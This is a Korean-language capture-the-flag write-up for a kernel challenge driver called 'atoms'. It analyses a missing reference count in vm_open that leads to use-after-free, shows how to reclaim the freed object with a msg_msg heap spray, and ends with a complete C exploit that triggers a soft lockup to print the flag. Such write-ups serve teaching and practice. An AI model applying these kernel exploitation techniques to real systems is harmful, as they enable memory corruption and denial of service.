atoms
취약점 분석
1. vm_open의 참조 횟수 누락으로 인한 Use-After-Free
atoms_mmap은 atoms_mem_get()으로 atoms_mem의 참조 횟수를 증가시키고 이를 vm_private_data에 저장한다. VMA가 fork()로 복제될 때는 vm_ops->open()이 각 자식 VMA의 참조를 추가해야 하지만, vm_open은 아무 작업도 하지 않는다. 반면 VMA가 해제될 때 호출되는 vm_close는 항상 atoms_mem_put()을 호출한다.
static void vm_open(struct vm_area_struct *vma)
{
// atoms_mem_get(vma->vm_private_data)가 없다.
}
static void vm_close(struct vm_area_struct *vma)
{
atoms_mem_put(vma->vm_private_data);
}
static int atoms_mmap(struct file *file, struct vm_area_struct *vma)
{
struct atoms_ctx *ctx = file->private_data;
spin_lock(&ctx->lock);
if (!ctx->mem) {
spin_unlock(&ctx->lock);
return -ENODEV;
}
vma->vm_ops = &atoms_vm_ops;
vma->vm_private_data = atoms_mem_get(ctx->mem);
spin_unlock(&ctx->lock);
return 0;
}새 객체의 참조 횟수는 풀과 파일 컨텍스트 때문에 2이고, mmap 이후에는 3이다. 이후 세 번 fork()하면 자식 VMA 세 개가 생기지만 참조 횟수는 증가하지 않는다. 각 자식에서 munmap()을 호출하면 참조 횟수가 3 -> 2 -> 1 -> 0으로 감소하여 atoms_mem이 해제된다. 부모의 파일 컨텍스트와 VMA에는 해제된 객체의 포인터가 그대로 남으므로 UAF가 발생한다.
2. 해제된 atoms_mem의 lock type confusion
atoms_mem은 크기가 0x110이고 lock은 오프셋 0xc에 있다. atoms_mem_alloc은 파일 컨텍스트가 가리키는 객체의 생존 여부를 다시 확인하지 않고 이 lock을 획득한다.
struct atoms_mem {
uint64_t token; // 0x00
refcount_t refcnt; // 0x08
spinlock_t lock; // 0x0c
struct {
void *ptr;
uint64_t nr_pages;
} slots[16]; // 0x10
}; // 0x110
static int atoms_mem_alloc(struct atoms_mem *mem, uint64_t size,
uint64_t *offset)
{
void *addr = vmalloc_user(size);
if (!addr)
return -ENOMEM;
spin_lock(&mem->lock);
// 빈 슬롯을 찾아 addr과 페이지 수를 기록한다.
// ...
spin_unlock(&mem->lock);
return 0;
}msg_msg의 헤더는 0x30 바이트다. 메시지 본문을 0xe0 바이트로 지정하면 전체 할당 크기가 0x110이 되어 해제된 atoms_mem과 같은 slab 객체를 재사용할 수 있다.
struct msg_msg {
struct list_head m_list; // 0x00: next, 0x08: prev
long m_type; // 0x10
size_t m_ts; // 0x18
struct msg_msgseg *next; // 0x20
void *security; // 0x28
};UAF 포인터가 msg_msg를 가리키면 mem->lock 오프셋 0xc는 m_list.prev 포인터의 상위 4바이트와 겹친다. 이 값은 유효한 unlocked spinlock 값인 0이 아니다. 다시 ATOMS_ALLOC을 호출하면 _raw_spin_lock()이 이 값을 잠긴 lock으로 해석하여 무한 대기하고, 커널에 soft lockup이 발생한다.
패치된 watchdog은 soft lockup 메시지의 프로세스 이름 대신 FLAG를 출력한다.
pr_emerg("BUG: soft lockup - CPU#%d stuck for %us! [%s:%d]\n",
smp_processor_id(), duration, FLAG, task_pid_nr(current));Exploit 과정
Step 1: atom 객체와 VMA 생성
토큰으로 atoms_mem을 생성하고 0x1000 바이트 영역을 할당한다. 이어서 mmap()을 호출하여 atoms_mem을 참조하는 VMA를 만든다. 이 시점의 참조 횟수는 3이다.
uint64_t token = 0x11111111;
ioctl(fd, ATOMS_CREATE, token);
struct atom_alloc alloc = {
.size = 0x1000,
.offset = 0,
};
ioctl(fd, ATOMS_ALLOC, &alloc);
uint64_t map = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_SHARED, fd, 0);Step 2: 참조 횟수 불일치로 atoms_mem 해제
세 자식 프로세스를 만든 뒤 각 자식에서 매핑을 해제한다. vm_open이 참조 횟수를 올리지 않았으므로 세 번의 vm_close만 반영되어 객체가 해제된다. 부모의 파일 컨텍스트는 여전히 해제된 주소를 보유한다.
for (int i = 0; i < 3; i++) {
if (fork() == 0) {
munmap((void *)map, 0x1000);
exit(0);
}
}Step 3: msg_msg로 해제된 객체 재할당
본문 크기가 0xe0인 메시지를 다수 생성한다. msg_msg 헤더를 포함한 할당 크기는 0x110이므로 해제된 atoms_mem 자리를 재사용한다.
int msgid[0x30];
struct msg_buf msg;
msg.mtype = 1;
memset(msg.mtext, 'A', sizeof(msg.mtext));
for (int i = 0; i < 0x30; i++) {
msgid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
msgsnd(msgid[i], &msg, sizeof(msg.mtext), 0);
}Step 4: corrupted spinlock으로 soft lockup 유발
ATOMS_ALLOC을 다시 호출한다. 드라이버는 UAF 포인터의 오프셋 0xc, 즉 msg_msg.m_list.prev의 상위 4바이트를 spinlock으로 사용한다. 커널 스레드가 _raw_spin_lock()에서 빠져나오지 못하면 watchdog이 soft lockup을 감지하고 플래그를 출력한다.
ioctl(fd, ATOMS_ALLOC, &alloc);Exploit Code
#define _GNU_SOURCE
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/msg.h>
#define ATOMS_CREATE 0x4008d900
#define ATOMS_INFO 0x8018d901
#define ATOMS_ALLOC 0xc010d902
#define ATOMS_REMOVE 0x0000d903
struct atom_alloc{
uint64_t size;
uint64_t offset;
};
struct msg_buf {
uint64_t mtype;
char mtext[0x110-0x30];
};
int main()
{
important("happy hacking!");
pin_cpu(0);
int fd = open("/dev/atoms", O_RDWR);
info("/dev/atoms opened with fd: %d", fd);
// create a new atom -> will make 0x110 kernel memory
uint64_t token = 0x11111111;
ioctl(fd, ATOMS_CREATE, token);
// and alloc a new object -> will make 0x1000 user memory
struct atom_alloc alloc;
alloc.size = 0x1000;
alloc.offset = 0;
ioctl(fd, ATOMS_ALLOC, &alloc);
info("created atom and alloc user memory");
// mmap the kernel memory
uint64_t map = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
info("mmaped kernel memory at: %p", map);
// fork 3 times and munmap 3 times to make refcnt 0 and free the kernel memory
// but it will still be mapped in our process
for(int i = 0; i < 3; i++){
if(fork() == 0){
munmap((void*)map, 0x1000);
exit(0);
}
}
info("forked 3 times and munmaped kernel memory 3 times");
// msg_msg spray to allocate a msg_msg struct in the freed kernel memory
int msgid[0x30];
struct msg_buf msg;
msg.mtype = 1;
memset(msg.mtext, 'A', sizeof(msg.mtext));
for(int i = 0; i < 0x30; i++){
msgid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
msgsnd(msgid[i], &msg, sizeof(msg.mtext), 0);
}
info("sprayed 0x30 msg_msg structs");
// alloc a new atom -> will lead to currupted lock
ioctl(fd, ATOMS_ALLOC, &alloc);
info("allocated a new atoms to corrupt the lock");
return 0;
}